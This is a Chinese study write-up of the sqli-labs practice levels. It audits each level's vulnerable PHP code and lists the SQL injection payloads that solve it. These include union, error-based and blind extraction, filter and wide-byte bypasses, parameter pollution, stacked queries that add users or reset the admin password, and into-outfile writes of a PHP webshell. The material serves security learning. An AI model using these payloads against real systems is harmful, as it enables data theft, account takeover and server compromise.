关于注释符的详解
SQL注入注释符(#、-- 、/**/)使用条件及其他注释方式的探索 - impulse- - 博客园 (cnblogs.com)
HTTP请求方法------GET 对比 POST
HTTP 方法:GET 对比 POST | 菜鸟教程 (runoob.com)
来自知乎的绕过
SQL注入:各种绕过检测的姿势 - 知乎 (zhihu.com)
@读题-------------get方式提交
@Error based—报错注入
@Single quotes-单引号
本题的知识点讲解
判断注入类型(闭合方式)、联合查询
(划重点,讲过的知识点以后是不会再这么详细的讲的)
1.试错法
?id=1‘
回显错误
根据报错信息near '‘1’'可知(技巧:注入为1‘ 看注入之后的)
是字符型闭合 并且闭合方式为 ’ 单引号
2.代码审计
where id ‘$id==’== -------------为单引号闭合
关于为什么要判读诸如类型,是因为我们需要让我们构造的sql语句合法化
接下来我将通过代码审计的方式进行讲解
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//源代码//
代入后,
有:$sql=“SELECT * FROM users WHERE id=‘1’ LIMIT 0,1”;
如构造语句:?id=-1’ union select 1,2,3 --+
有:
$sql=“SELECT * FROM users WHERE id=’-1’unionselect 1,2,3 (这里有注释==’==)LIMIT 0,1”;
id=1和id=2在Your Login name和 Your Password处回显不同,
结合数据库内容以表单形式储存 可以知道 这两处为查找内容的回显点
利用group by 查找有几列内容
group by 1–3回显正确
group by 4 报错-----------共有3列内容
得出结论 有最多2处可以有回显
利用联合查询再次验证
构造playload
?id=-1' union select 1,2,3--+
关于--+注释:是为了注释掉后面的闭合(当然也可以注释掉后面的内容)
id | your login name | your password |
---|---|---|
1 | (根据id=1查找显示的回显) | (同前) |
1 | 2(已提前写入) | 3(同前) |
由代码可知
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
limit 0.1“(检索行记录 1 )
关于limit的用法补充:(以及为什么要?id=-1)
limit子句可以用于强制select语句返回指定的记录数
第一个参数指定返回行记录的偏移量 第二个参数指定返回行的最大数目
此时 只需要让id查询不到内容即可返回我们想要让数据库查询到内容了
开始注入
例如,构造playload
?id=-1'union select 1,database(),version() --+
#Lsee-2
(和第一题目一样的过程
@读题-------------get方式提交
@Error based—报错注入
@intiger based
A 判读是数字型还是字符型注入
?id=1 回显正常
?id=1‘ 报错但无1’回显
可以判断为 数字型注入
放心起见,我们对网页源代码进行一下代码审计
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
where id=$id 无闭合方式-----数字型注入
接下来 和less1一样的套路
group by-----判断列
union select ----从回显点获得数据
#Less-3
@读题-------------get方式注入
@Error based—报错注入
@single quotes with twist
A.判断注入方式
?id=1 正常
?id=1‘ 报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1’ at line 1
可判断闭合方式为:(’’)
代码审计:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
接下来直接上套路~
group by—3
union select:
?id=-1' union select 1,database(),version()--+
#less-4
@读题-------------get方式提交
@Error based—报错注入
@Double quotes-双引号
xdm,看了三道题了,总知道套路了吧
接下来我就简写我的过程了
?id=1 正确
?id=1"(不要问我为什么我直接上双引号了 ):报错: use near ‘"1"") LIMIT 0,1’ at line 1
ok 代码审计:
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
字符型,闭合方式:")
groupby一下
unionselect一下
@读题-------------get方式提交
@double Injection–双查询注入
@Single quotes-引号
老套路,
1.判断注入形式,根据Less-1所讲的方法,可以知道是 单引号闭合
2.group by到4报错,可以知道共有3列
3.构造playload:?id=-1’union select 1,2,3–+
然后就蒙了把哈哈,此时我们需要查找题目的提示信息(double injection)
关于双查询注入,有如下知识点
好的解析:SQL注入实战之报错注入篇(updatexml extractvalue floor) - 陈子硕 - 博客园 (cnblogs.com)
@ updatexml() -----修改xml文件
[?id=33 and updatexml(1,concat(’^’,(select database()),’^’),1) --+]
如果在xml文档路径中写入子查询,我们输入特殊字符,然后 因为不符合语法报错。
但报错时,后台已经执行了子查询代码。
注:mysql支持16进制,‘^’:也可用’~‘等替换,or 0x7e(~的16进制编码)(其实就是添加一个不符合规则的符号)
报错同时显示:数据库名
OK,如选择updatexml()有
?id=1' and updatexml(1,concat(0x5e,(select version()),0x5e),1) --+
@Get方式
@double injection–双查询注入
@double quotes—双引号
和less-5一样,只是闭合方式换为了双引号
@Get方式
@dump into outfile--------dumpfile与outfile
@string
闭合形式为’))
select [column...] from [table_name] into outfile [path];
outfile函数可以导出多行,而dumpfile只能导出一行数据
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式
?id=2')) union select 1,"",3 into outfile "c:\\phpstudy\\www\\1.php" --+
@Get方式
@Blind-Boolian Based------布尔盲注
@single quotes----------------单引号
原理
利用页面返回的布尔类型状态,正常或者不正常
eg: ?id and 1=1
利用返回布尔类型的正常与否的获取(判断)数据库名(长度)
(类似于爆破)
@ 数据库名长度
[?id=33 and length(database())=1 --+]
…
[?id=33 and length(database())=3 --+]
可以断定,当前数据库名的长度为3。
@ 数据库名
[?id=33 and ascii(substr(database(),1,1))=99 --+]
由此可知数据库名的第一个字母的ascii 码为99,即是字母c。
这里可以用半自动化注入,利用burpsuite抓包,再进行爆破
@GET方式
@Blind-Time based 布尔盲注-基于时间
@Single Quotes 单引号
延时注入
利用sleep() 语句的延时性,以时间线作为判断条件。
获取数据库名
@ 获取数据库名长度
[?id=33 and if((length(database())=3),sleep(5),1)–+]
@ 数据库名第二位
[id=33 and if((ascii(substr(database(),2,1))=109),sleep(5),1)--+]
由此可知,数据库名第二个字母的ASCII 码值为109,即是字母m。
substr()截取字符串 (语法:substr(str,pos,len))
关于if语句
if(a,b,c):如果a成立 则执行b 反之则执行c
回归题目,在判断诸如类型的时候,没有回显,没有报错,没有布尔类型状态
利用延时注入看看,
?id=2' and if(ascii(substr(database(),1,1))=1,sleep(5),1) --+
和less-9一样 但闭合方式为双引号
@POST提交
@Error Based–基于报错
@single quotes–单引号
嗯 新的方式–post提交
可以先了解一下post与get提交的区别,因为编码关系(待补充)这里的注释用#代替
剩下的都是一样的。
头部注入
http请求头分析
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8表示客户端可以接受的内容类型,多个值使用;分号隔开q=0.9 表示权重优先级,*/*表示可以接受任意类型内容;
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3表示客户端可以接受的语言
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64x64;
浏览器信息,例如使用的是网井的内核, windows64位系统;
Accept-Encoding: gzip, deflate–>>支持的压缩格式
Host: localhost:8888====>访问地址
Connection: keep-alive —>>保持连接 和HTTP1.1版本有关,默认保持3s
Content-Type: application/x-www-form-urlencoded表单提交时才有可能出现,表示表单的数据类型,使用url编码,url编码 % 16位数
Content-Length: 7—>post请求 请求体长度
Upgrade-Insecure-Requests: 1–>>告诉服务器,浏览器可以处理https协议、
————————————————
版权声明:本文为CSDN博主「梓栋Code」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/xmxt668/article/details/89461183
注意传输的位置和填充
(下面例子并没有多出1与括号)
eg:
user-agent: ’ and updataxml(1,concat(0x7e,(select database()),0x7e),1)1,1) – qwe
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (' and updataxml(1,concat(0x7e,(select database()),0x7e),1),1(对应ip),1(对应username)) ";
@cookie injection (cookie 注入)
@base64 encoded (base64编码)
@single quotes and parenthesis(单引号与括号)
老规矩 登录数据库
(我的账户名和密码均为admin 有的人的可能是admin与空)
查看一下网页源代码
setcookie('uname', base64_encode($row1['username']), time()+3600); //cookie加密方式为base64
$cookee = $_COOKIE['uname'];//cookee即位cookie
$cookee = base64_decode($cookee);//base64解码
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
此处cookee闭合方式为')
有,构造playload
') union select 1,2,3#
base64加密后:
JykgdW5pb24gc2VsZWN0IDEsMiwzICM=
然后就可以进行注入了
同理 但是是双引号闭合
构造playload :" union select 1,2,3#
base64编码:IiB1bmlvbiBzZWxlY3QgMSwyLDMgIw==
@Get方式
@error based 报错注入
@strip comments 条评论
(基于错误的,过滤注释的GET型)
判断注入类型
?id=1 回显正常
?id=1’ 报错 有:right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
可以知道是单引号闭合
但此时 构造 ? id=1’ --+ 出现报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1
有点奇怪
对源代码进行一下审计
$id=$_GET['id'];
//filter the comments out so as to comments should not work过滤掉注释,使注释不能工作
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
出现了没见过的东西,浅学一哈
菜鸟教程:https://www.runoob.com/php/php-preg_replace.html
把注释符全给注释掉了。
浅查一下资料~
SQL注入一些过滤及绕过总结_devil8123665的博客-CSDN博客_sql注入过滤
SQL注入绕过入门总结篇 - FreeBuf网络安全行业门户(这个还蛮顶的)
我们可以使用单引号进行闭合,(单引号内的不会被执行)
“SELECT * FROM users WHERE id=‘1==’ and ‘1’=‘1==’ LIMIT 0,1”`
不会被执行
原本语句:
//前面的过滤是对$id进行过滤 此时只需要让语句从$id中逃逸即可进行注入 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //浅逃逸一下 $sql="SELECT * FROM users WHERE id=''(注入一个' 使前面两个单引号闭合,然后后面语句就从$id中逃逸出来了,即将 and 1=2 当成代码执行)and 1=2-- (-- 用于注释后面内容)qwe'LIMIT 0,1"; (如果不注入一个' ,and 1=2 将会被当成一个字符串执行,而非一段代码) //又因为前面有注释符的过滤,-- 用不了了 后面就多出了一个'那么该语句就是错的 ok 让我们来想想办法 ----我们可以将这个' 消耗掉 and 1=2 or'1'='1(后面自带一个',就消耗掉了) //看似少些 其实没有 or:条件两边有一条成立即可
原语句:
$sql="SELECT * FROM users WHERE id='1' (这里闭合成功)and 1=2 or '1'='1'(这里消耗掉了原有的'闭合) LIMIT 0,1"; 联合查询一下
?id=-1’ union select 1,database(),3 or ‘1’='1
报错注入:
’ and updataxml(1,concat(0x7e,(select database()),0x7e),1) or ‘1’='1
本节关键:’ xxxxx or ‘1’='1
@Post
@second order injections(二阶注入) * Real treat *
@stored injection(存储型注入)
关于二次注入:[二次注入 - 简书 (jianshu.com)](
@get方式
@error based–all your or & and belong to us
@string single quote 单引号
单引号闭合
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
过滤and和or
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id);
//strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id);
//Strip out AND (non case sensitive)
return $id;
}
And == &&
Or == ||
Xor = |
Not = !
@get
@blind based—all your or & and belong to us 盲注 and与or绕过
@intiger based --整形注入
检查一下源代码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
//和上题一样的套路
利用页面的会先是否正常判断语句是否正确
@GET
@Error Based --all your spaces & comment belong to us
报错注入
检查一下源代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//单引号闭合
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); (i:不区分大小写)
//strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id);
//Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id);
//strip out /*
$id= preg_replace('/[--]/',"", $id);
//Strip out --
$id= preg_replace('/[#]/',"", $id);
//Strip out #
$id= preg_replace('/[\s]/',"", $id);
(\s:匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ \f\n\r\t\v]。注意 Unicode 正则表达式会匹配全角空格符。)
//Strip out spaces(空格)
$id= preg_replace('/[\/\\\\]/',"", $id);
//Strip out slashes(斜线)
return $id;
}
//or and 注释符 空格 斜线 过滤
如果在尝试注入过程中,发现空格被过滤,那么可以去尝试括号是否被过滤,如果括号未被过滤,那么就可以尝试用括号进行绕过。
因为在mysql中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,多可以用括号围起来。而括号的两端可以没有多余的空格
例如:
Select(user())fromdualwhere(1=1)and(2=2)
这种过滤方式常常用于基于时间的盲注,例如:
?id=1%27and(sleep(ascii(sbustr(database()from(1)for(1)))=109))%23
(其中,from、for是属于逗号绕过)
其余的绕过空格方式:
两个空格代替一个空格;
用Tab(Tab是一个字符)代替空格
%0a或%a0代替空格
报错原因:
空格可以使用编码%0A代替,但是在Windows phpstudy环境下,空白字符编码无效,所以我们无法使用空格。
还有最基本的利用注释替换空格:/**/
Select table_name from information_schema.tables where table_schema=database()
Select//table_name//from//information_schema.tables/****/where//table_schema=database()
因为有注释符绕过,所以我们单引号逃逸一下
原语句: s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = ′ sql="SELECT * FROM users WHERE id=' sql="SELECT∗FROMusersWHEREid=′id’ LIMIT 0,1";
拼接后:省略。 id='1’||updatexml(1,concat(0x7e,(select%a0database()),0x7e),1)||‘1’='1 'LIMIT 0,1";
但是%a0报错了。。。%0a被过滤了(好像是因为windows环境下安装的phpstudy配置问题,,)
用括号
select(database()) 可以
把select去掉
有:id=‘1’||updatexml(1,concat(0x7e,(database()),0x7e),1)||‘1’='1
成功报错了
在CSDN上看到了其他操作,关于注释,可以用 ;%00
文件上传绕过之00截断_BUAA小细腿的博客-CSDN博客_文件上传00截断
@GET提交
@Blind Based–all your spaces & comment belong to us
@string-single quotes-parenthesis(单引号括号)
直接上源代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
//闭合形式为')
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
//和Less-26一样的过滤
源码的SQL如下
当我们输入 1’ aandnd’1时,后端过滤掉了一个and,拼接成下面这样
and后面的’1’会转换成true,使SQL恒成立,从而正常查询出用户信息并在页面中展示出来
当我们输入 1’ aandnd’0时,后端代码过滤掉一个and后,将参数拼接到SQL中,是下面这样
and后面的’0’会转换为false,使SQL恒不成立,从而查询不到用户信息,导致页面空显示
盲注测试
1'aandnd(length(database())>1)anandd'1
回显正常则可以通过
@GET
@error based-all your union & select belong to us
@string
查看一下源代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union(头部大写)
$id= preg_replace('/Select/s',"", $id); //Strip out select(头部大写)
return $id;
}
(这里我们可以钻个空子 union seletc 两个单词各选非首部字母进行大写替换)
1.大小写替换
UNion SElect
2.复写单词
eg:aandnd-----and
@和Less-27一样 但是是双引号闭合
@GET
@error based-all your union & select belong to us
@string-single quote with parenthesis(单引号括号)
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
运用布尔状态进行判断
@和Less-28一样 但闭合方式为单引号与括号
@get
@Error based—IMPIDENCE MISMATCH阻抗不匹配
@Having a WAF in front of web application
基于WAF的一个错误
其实这道题用之前讲的联合查询就可以做出来,但是出题人是希望我们去搭两个环境:Tomcat(jsp)与apache(php)。
基本思路:我们传参首先经过jsp过滤再交给php,然后将php服务器处理完之后又返回给jsp服务器,从而显示到客户端,这里我们可以利用参数污染的方式及给他传两个参,它会将第一个传参交给jsp处理,而第二个传参交给了php处理,从而绕过,后面几题都差不多是这个思路
#Sqli-labs之Less-29和Less-30和Less-31_
有用的代码审计
//WAF...只允许输入数字
//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)//白名单
{
$match = preg_match("/^\d+$/", $input);
//这个正则表达式 意思是 匹配 以数字开头的一个或多个数字且以数字结尾的字符串
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
//其实是定义了一个有防火墙作用的函数
// take the variables
if(isset($_GET['id']))
{
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);//检查的是id1
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//代入查询的是id
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
//当受到HPP(HTTP参数污染)的影响时,以下功能可模仿参数的行为。
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
//根据&分割字符串并打散为数组
//explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
//从第3个开始返回30个
return $id_value;
echo "
";
break;
}
}
}
基于之前讲解的做法:?id=1&id=2(返回的是2的值,因为id=1被过滤了)
构造playload
?id=1&id=-2' union select 1,2,3 --+
@GET
@Blind–impidence mismatch
@having a WAF in front of web application
参数获取
// take the variables
if(isset($_GET['id']))
{
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);//对id1进行了约束
//id1
$id = '"' .$id. '"';
//双引号闭合
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
WAF设置
//WAF implimentation with a whitelist approach..... only allows input to be Numeric.(只允许数字)
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
//这个正则表达式 意思是 匹配 以数字开头的一个或多个数字且以数字结尾的字符串
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
//下面的函数模仿了受HPP (HTTP参数污染)影响时参数的行为。
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
//以&分割字符串
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "
";
break;
}
}dain
}
根据题目提示 直接用盲注
盲注分类
:1.基于布尔类型
2.基于时间(运用sleep()函数)
(但这里有回显点)
@GET
@Blind–impidence mismatch
@having a WAF in front of web application
与Less-30一致,只不过换了闭合方式 ")
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
@GET
@Bypass custom filter adding slashes to dangeroud chars
绕过添加斜杠到危险字符的自定义过滤器
利用掌控安全的老师所讲的话:
注入输入单引号尝试闭合的时候发现被加上了/转义掉了,于是我们去查看源码,发现他下面确实写了一个简单的过滤,既然这里不能直接闭合我们一般思路就是想办法去掉这个不让他生效,看到他源码下设置了一下编码,突然想到了宽字节绕过,他的原理很简单,就是利用了数据库和页面编码不同的问题, PHP发送请求到mysq时经过一次gbk编码,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸了出来
检查一下源代码
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
//escape any backslash(反斜杠)
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash(在每个单引号换为\\)
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash(在每个双引号换为\\)
return $string;
}
preg_quote:https://www.runoob.com/php/php-preg_quote.html
preg_last_error 函数用于转义正则表达式字符。
语法
string preg_quote ( string $str [, string $delimiter = NULL ] )
eg:
构造playload
id=1’ and xxxx
回显为: id=1’ and xxxx
(这里单引号前的反斜杠将单引号转译为了一个字符串(会被当成代码执行),这样该单引号就不会与前面的单引号闭合,就导致了单引号的逃逸失败,而后面的and xxxx会被当成字符串执行而非代码执行)
再次检查一下源代码 发现这里设置了编码
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
知识点:宽字节注入
原理:利用数据库和页面编码(utf-8:1—4个字节)不同,php发送请求到mysql时经过一次gbk编码(mysql数据库编码为gbk),因为gbk是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸出来了。
?id=1’
处理时:?id=1’
?id=1%df’
回显为1縗’
%df与%5c(\的URL编码,十六进制)构成一个汉字:
因为此时 \ 已经和%df组成一个汉字消耗掉了 所以 ’ 成功闭合
”如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为%df%5c
是一个宽字符,也就是縗
,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。“
但是有一个问题, 为什么页面此时还回显的是?id=1的内容
从别人那学到的:查询时,mysql会在布尔类型判读时会将以数字开头的字符串当成数字处理,但要注意的是,字符串要被引号包裹
@GET
@Bypass AddSlashes()
和上一关一致,只不过换成了addslashes函数
addslashes() 函数返回在预定义的字符前添加反斜杠\的字符串。
预定义字符是:
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
@POST
@Bypass AddSlashes()
post方式提交 且运用了addslashes函数
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
抓包修改参数
@GET
@Bypass Add Slashes (we dont need them) Integer (数字型)based
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
简单的一题
@GET
@Bypass MySQL_real_escape_string
不简单的题目提示 先看一下源代码
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
function check_quotes($string)
{
$string=mysql_real_escape_string($string);
//宽字节注入这不就来了吗
return $string;
}
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//转十六进制
function strToHex($string)
{
$hex='';
for ($i=0; $i < strlen($string); $i++)
{
$hex .= dechex(ord($string[$i]));
}
return $hex;
}
关于mysql_real_escape_string函数
https://www.w3school.com.cn/php/func_mysql_real_escape_string.asp
宽字节注入即可
@POST
@Bypass MySQL_real_escape_string
抓包—修改数据
@GET
@Stacked Query Injection(堆叠查询注入)
@String
#[SQL注入之堆叠注入(堆查询注入) - ruoli-s - 博客园 (cnblogs.com)](https://www.cnblogs.com/ruoli-s/p/14208908.html#:~:text= Stacked injection 汉语翻译过来后,称 为,堆查询注入 ,也有称之为 堆叠注入 。 堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新的查询或者终止查询,可以达到修改数据和调用存储过程的目的。)
查看一下源代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '';
printf("Your Username is : %s", $row[1]);
echo "
";
printf("Your Password is : %s", $row[2]);
echo "
";
echo "";
}
// mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
else
{
echo '';
print_r(mysqli_error($con1));
echo "";
}
/* close connection */
mysqli_close($con1);
}
else { echo "Please input the ID as parameter with numeric value";}
#mysqli_multi_query函数(产生堆叠查询)
定义和用法
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
语法
mysqli_multi_query(connection,query);
定义和用法
mysqli_fetch_row() 函数从结果集中取得一行,并作为枚举数组返回。
语法
mysqli_fetch_row(result);
插入表与字段
INSERT INTO 表名 (列明,列明1,列明2...)VALUES(数值,数值1,数值2,数值3)
?id=1;insert into users(id,username,password) values ('100','100','100') -- qwe
提交playload证明存在堆叠注入
@GET
@Stacked Query Injection 堆叠查询
@Intiger based 整形注入
其余和less-38一样
@GET
@Blind based
@String-Stacked
@POST
@Error based
@String-Stacked
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
//转译user,注入点在cookie
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//单引号闭合
在password构造playload:
1';update security.users set password='123456' where username="admin"
//创建了一个用户名密码为:admin 123456的账户
@POST
@Error based
@String-Stacked with twist
user过滤 ')闭合
@同上 只是关闭了报错
@GET
@Error based
@Numeric-Order by Clause
浅看一下源代码
$id=$_GET['sort'];
//提交的变量为sort
if(isset($id))
{
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'SORT:'.$id."\n");
fclose($fp);
$sql = "SELECT * FROM users ORDER BY $id";
//这里,变量sort被拼接到了order by之后
发现这里提交的变量名称为 sort
提交 ?sort=1 正常回显
提交 ?sort=1’ 不正常回显
(通过检查源代码的形式知道是数字型注入)
提交 ?sort=2
发现表格顺序变了
(并且username经过排序了)
排序相关函数:order by 那么我们可以自然想到我们的传参最后是拼接到了order by语句之后 ,那么我们就没办法利用之前的联合查询
union select 1,2,3
发现报错
Incorrect usage of UNION and ORDER BY
不正确使用UNION和ORDER BY
利用一下报错注入
?sort=2 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
#Less-47
@GET
@Error based
@String-Order by Clause
和Less-46一样 只是闭合方式有所改变
@GET
@Error based
@Blind-Numeric-Order by Clause
盲注 数字型
没有报错 那就按照布尔类型来判断–盲注
构造playload
?sort=1 and length(database())=8
用bp爆破一下就ok了
@和Less-48一样 但是字符型注入
@GET
@Error based
@Order by Clause - numeric - Stacked injection
用
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
也是可以做出来的
emmmm 不知道为什么我的电脑导不出文件
?sort=1;select’’ into outfile ‘你要保存文件的路径\1.php’
用\是为了防止转译
导出的就是1.php
打开后,在url处输入:?9=phpinfo()
利用菜刀就可以进入数据库,
和Less-50一样 但是是字符型注入
和前面一样 但需要用布尔类型来判断
@GET
@challenge
@Union-10 queries allowed
@Variation
先看一下源代码
//单引号闭合
//超过10次注入数据库将刷新
有限次爆破------利用group_concat
’ union select 1,group_concat(serect_EK84),3 from jg9njybt72 --+
(爆出的表名:jg9njybt72 列名:serect_EK84)
table_name:表名
column_name:列名
@同上
仅是改变了闭合方式
@GET
@challenge—Double Query (双查询注入)
@5 queries allow
@Variation 1
union select没有回显
用报错注入查找一下
?id=-1' and updataxml(1,(select concat(1,(select table_name from information_schema.table where table_schema='challenges'))),1) --+
@只是修改了闭合方式
@GET
@Blind
@可查询130次
关闭了报错和回显 但存在延时注入
举例:
?id=1') and if(length((select table_name from information_schema.tables where table_schema=database()))>8,1,sleep(10)) --+
各关闭合方式不同
后面的66~75题,我没有找到源代码。(偷懒一下